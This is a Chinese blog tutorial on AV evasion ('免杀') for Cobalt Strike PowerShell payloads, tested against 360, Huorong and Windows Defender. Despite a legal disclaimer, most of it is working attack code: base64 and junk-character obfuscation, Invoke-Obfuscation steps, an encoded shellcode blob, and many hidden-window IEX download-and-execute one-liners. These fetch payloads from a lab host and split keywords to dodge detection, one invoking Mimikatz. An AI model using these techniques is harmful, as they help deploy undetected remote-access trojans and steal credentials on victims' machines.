【网安-Web渗透测试-免杀系列】PowerShell免杀
2026/5/28 3:43:33 网站建设 项目流程

目录

  • 一、免杀概念
    • 1、什么是免杀?
    • 2、什么是杀毒软件?
  • 二、PowerShell
    • 1、什么是PowerShell?
    • 2、生成PowerShell
    • 3、免杀对比实验
      • (1)原始脚本放入
      • (2)删除变量放入
  • 三、免杀思路
    • 1、特征值编码
    • 2、编码+添加干扰项
    • 3、添加干扰项+编码
    • 4、分离免杀
    • 5、PowerShell混淆处理
    • 6、二次开发
    • 7、以上式全结合后的混淆
    • 8、代码拆分
    • 9、针对windows defender的免杀方法
    • 10、针对powershell命令模式文件的免杀处理
      • (1)木马原型
      • (2)免杀处理
      • (3)利用ladon工具作免杀处理

💡重要声明:
制作、传播、使用木马等恶意程序以及相关免杀技术,均属于违法行为,会严重侵害他人信息安全与合法权益,请遵守法律法规,仅用于正规网络安全学习与防御研究。

一、免杀概念

1、什么是免杀?

全称为反杀毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术。

  • 由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。一般人不会或没能力接触这技术的深层内容。
  • 免杀的操作基本上都是对病毒、木马的内容、特征进行修改,从而躲避杀毒软件的查杀。

2、什么是杀毒软件?

杀毒软件类型分类:

  • 个人或者社区版:360、电脑管家、金山毒霸、火绒、Defender等等~~
  • 企业版杀毒软件:IDS、IPS、EDR(威胁感知、态势感知、流量监控、数据库监控等等~这些设备往往很贵)

杀毒软件查杀病毒分为如下三种:

  • 静态查杀:一般根据特征码识别,然后对文件进行特征匹配。
  • 行为查杀(动态查杀):主要是对其产生的行为进行检测。
  • 云查杀:提取出文件的特征上传云端,云端进行检测后返回客户端,对病毒进行查杀。

杀毒软件持续更新病毒库、收集木马特征码,旧免杀方法易失效。攻防处于持续对抗状态,免杀技术需要不断学习钻研。

二、PowerShell

1、什么是PowerShell?

Windows PowerShell 是微软发布的一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。Windows7及以上的操作系统目前都是自带的。

PowerShell脚本作为一种文件,此类文件被上传到服务器之后需要执行。上线的代码是写到文件里面的,被执行时,CS就可以上线。

执行方式
方法一:在CMD命令行中输入命令powershell,并进入PowerShell模式

方式二:WIN+R的运行对话框中输入powershell,打开PowerShell终端

方法三:在Windows的开始中,打开PowerShell终端

2、生成PowerShell

Step1:用CS生成powershell的远控木马

区别说明:

  1. powershell模式:属于文本模式,需要命令行启动;
  2. powershell command模式:属于命令模式,执行文件中这段命令即可上线。

3、免杀对比实验

(1)原始脚本放入

将生成的powershell脚本"payload_x86.ps1"不做任何处理,直接放入到火绒的环境中。

  1. 360卫士

  1. 火绒

未作任何处理,脚本放入虚拟机后均由杀毒软件报毒!

(2)删除变量放入

Step1:清空DoIt变量中的部分

Step2:免杀测试

  1. 360卫士

  1. 火绒

将DoIt变量中的部分清理后,杀软无报毒!如果将DoIt变量中的字符串进行一次编码,后面加上一段解码的代码,能不能避免杀毒软件的查杀呢?

三、免杀思路

1、特征值编码

Step1:将DoIt变量中的字符串保存到code.txt中,并在kali中输入编码命令生成新文件。

$ base64-w0code.txt>out.txt

新生成文件out.txt中,保留了DoIt变量的字符串的base64编码。

Step2:替换$DoIt的值为刚刚生成的base64编码,并将代码的$DoIt替换成$plamov

Set-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串$DoIt=@' '@$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step3:免杀测试

  1. 360卫士


直接复制进去时,未查杀前就已触发了报毒反应!

  1. 火绒

扫描时,未报毒!

当脚本被运行时,杀软触发了报毒反应!

2、编码+添加干扰项

Step1:在base64编码后的值中,随机加入垃圾字符,如“plamov”

Step2:将加入“垃圾数据”的Base64编码重新写入脚本,并添加垃圾字符过滤

Set-StrictMode-Version2# 此处需要加入base64编码后的字符串# 此为out.txt中的BASE编码字符串,且加入了垃圾数据“plamov”$DoIt=@' '@# 代码注释:将$DoIt变量中的“plamov”值替换为空$DoIt=$DoIt.Replace("plamov","")$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step3:免杀测试

  1. 360卫士

扫描时,未报毒!

运行后也未报毒!

  1. 火绒

3、添加干扰项+编码

Step1:直接在源代码中加入垃圾字符:例“plamov”

Step2:将原码中随意穿插垃圾字符后,进行base64编码

$ base64-w0code.txt>out.txt

并将编码替换到变量DoIt中。

Step3:免杀测试

  1. 360卫士

  1. 火绒

两个杀软全部报毒!

4、分离免杀

将那段关键的加密值,放置到在线网站上,通过powershell去请求

Step1:开启Kali的http服务

$ python3-mhttp.server8082

Step2:将保存在kali的out.txt文件远程调用

http://192.168.179.128:8082/out.txt

Step3:修改脚本

Set-StrictMode-Version2$DoIt=((New-Object System.Net.WebClient).DownloadString("http://192.168.179.128:8082/out.txt"))$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step4:免杀测试

  1. 360卫士

  1. 火绒

两个杀软均未报毒!

Step5:上线测试

  1. 360卫士

  1. 火绒

运行脚本时,火绒已经报毒!

在CS中查看,两台主机中的木马均已成功上线!

5、PowerShell混淆处理

Step1:下载Invoke-Obfuscation-master,并解压

Step2:在当前Invoke-Obfuscation-master的目录进入PowerShell终端

# 加载并运行项目PS C:\>PowerShell-ExecutionPolicyBypass-Command"Import-Module ./Invoke-Obfuscation.psd1; Invoke-Obfuscation"

Step3:加密处理

设置需要加密的文件:

Invoke-Obfuscation>setscriptpath<powershell木马源文件的绝对路径># C:\Users\Administrator\Documents\payload_x86.ps1

设置需要加密的代码(可选):

Invoke-Obfuscation>setscriptblock'<此处替换为脚本代码>'
# 进入编码Invoke-Obfuscation>encoding# 选择编码:1-8任意选择加密方式

输出文件:

Invoke-Obfuscation>out C:\Users\Administrator\Documents\1.ps1

Step4:免杀测试

  1. 360卫士

  1. 火绒

两个杀软均报毒!

6、二次开发

Step1:将如下源码中的$DoIt部分进行base64编码

Set-StrictMode-Version2# --- 需要Base64编码的部分 ---$DoIt=((New-Object System.Net.WebClient).DownloadString("http://192.168.179.128:8082/out.txt"))# --- 需要Base64编码的部分 ---$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

编码处理后的源码如下:

Set-StrictMode-Version2$NK33=@' KChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygiaHR0cDovLzE5Mi4xNjguMTc5LjEyODo4MDgyL291dC50eHQiKSk= '@$NK33=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK33))$NK15=IEX$NK33$plamov=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($NK15))If([IntPtr]::size-eq8){start-job{param($a)IEX$a}-RunAs32-Argument$plamov|wait-job|Receive-Job}else{IEX$plamov}

Step2:免杀测试

  1. 360卫士

扫描时,未报毒!

运行脚本时,未报毒!

  1. 火绒

扫描时,未报毒!

运行脚本时,报毒!

但他们成功运行后,都上线了!

Step3:在编码处理脚本基础上,用项目进行加密

# 加载并运行项目PS C:\>PowerShell-ExecutionPolicyBypass-Command"Import-Module ./Invoke-Obfuscation.psd1; Invoke-Obfuscation"# 设置需要加密的文件:Invoke-Obfuscation>setscriptpath<powershell木马源文件的绝对路径># C:\Users\Administrator\Documents\payload_x86.ps1# 进入编码Invoke-Obfuscation>encoding# 选择编码:1-8任意选择加密方式# 输出文件Invoke-Obfuscation>out C:\Users\Administrator\Documents\2.ps1

Step4:免杀测试

  1. 360卫士

扫描时,未报毒!

运行脚本时,未报毒!

  1. 火绒

扫描时,未报毒!

运行脚本时,报毒!

这是加强处理的后的脚本,也成功运行并上线!

7、以上式全结合后的混淆

  1. 先加干扰字符;
  2. 然后进行base64编码;
  3. 最后再使用混淆加密项目进行加密。

8、代码拆分

一部分可以作编码或者加干扰处理,另一部分可以做分离的处理(即:可以将这部分代码放到在线网站上去在线请求)

9、针对windows defender的免杀方法

PowerShell 是系统自带程序,针对 Windows Defender 的绕过难度最大。各类渗透工具生成的 Shellcode 存在固定变量、参数名,属于杀软重点特征。

绕过 Defender 要点:

  1. 修改所有默认变量、参数名;
  2. 处理监听器 IP、端口等连接信息;
    本质:彻底清除工具自带的特征指纹。

Step1:新建脚本(命名为:base64tobyte.ps1)

Write-Host$logo$payload=read-host"CS payload"$string=''$s=[Byte[]]$var_code=[System.Convert]::FromBase64String($payload)$s|foreach{$string=$string+$_.ToString()+','}Write-Host''write-host'bytes:'$string.Substring(0,$string.Length-1)$string.Substring(0,$string.Length-1)|Out-File result.txt Write-Host"Write to result.txt finished! "

Step2:用base64tobyte.ps1脚本转码脚本

# 从当前路径进入powershell命令行后,将那段指向监听器的值进行转码PS C:\>CS payload: 38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMG2RMTSPxQvgCUt4ioGQhnem5v0KSPBEaOkwyi6ibSkVsYszoK5IDQ0Miq/w5bW6PmxTJk3ybZ6eDmQH+YjG3vq1bWpqyUUptAHO04dIxI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRMYA3RsdBUXGAN3UUpHRk1XDBYNEwouKSPH2nx2KFFCr4gNwI4sXednZSC6DXLEvveJCYZi9yEmclwVBQNbvok+p+PWBTQi0JjNGq+HnyI7+IK+JX8Xv2VA6YbHvgPrVWpBInwWDOW50f/W2LKGk/pa3cclWn87KlBjzbO27Mr1T3qBpFtn3RY9SUHMQR4VAm7z2N64Jjr6Uno7effdrBLGaaFujKd1zP9IuobZalybmeBcRhlTUQYep8z9ieTHua5+vKdwAJG6deQPOoOlSlwq0GO2rJcK4owfHn5l1mB4qNtD9xJYvQbkSyWcRxeWcy1/9iNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0SFBoNEhEbIxn9S5I=

Step3:将转码后的值,写入到源代码中进行替换

修改完成后务必测试运行,确认目标可正常上线,避免修改后的代码无法使用。

Step4:更改代码中的其他函数变量值

10、针对powershell命令模式文件的免杀处理

(1)木马原型

# 执行这段木马的源代码就会使目标上线,但是很容易被杀毒软件检测并拦截该行为!!PS C:\>powershell-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal set-alias-namekey-value"IEx((new-object net.webclient).downloadstring('http://192.168.179.128:8082/plamov.ps1'))"

(2)免杀处理

Step1:命令行中添加垃圾字符绕过:(原理类似于绕过WAF)

PS C:\>powershell-wNormal-ExecBypass-NoP"set-alias -Name key -Value IEX; key (New-Object Net.WebClient).DownloadString('http://192.168.179.128:8082/plamov.ps1')"

Step2:使用替换绕过

PS C:\>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe plamov.txt PS C:\>niko.txt-nop-whidden-c"IEX((new-object net.webclient).downloadstring('http://192.168.179.128:8082//plamov.ps1'))"

Step3:拆分http关键字

PS C:\>powershell-nop-whidden-c"$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://192.168.179.128:8082//plamov.ps1''));Invoke-Mimikatz';IEX($a+$b)"

Step4:拆分DownloadString关键字

PS C:\>powershell"$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://192.168.179.128:8082//plamov.ps1'')'.Replace('123','adString');IEX($a+$b)"

Step5:单引号绕过

PS C:\>powershell.exe"IEX((new-object net.webclient).downloadstring('ht‘+’tp://192.168.179.128:8082//plamov.ps1’))

(3)利用ladon工具作免杀处理

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询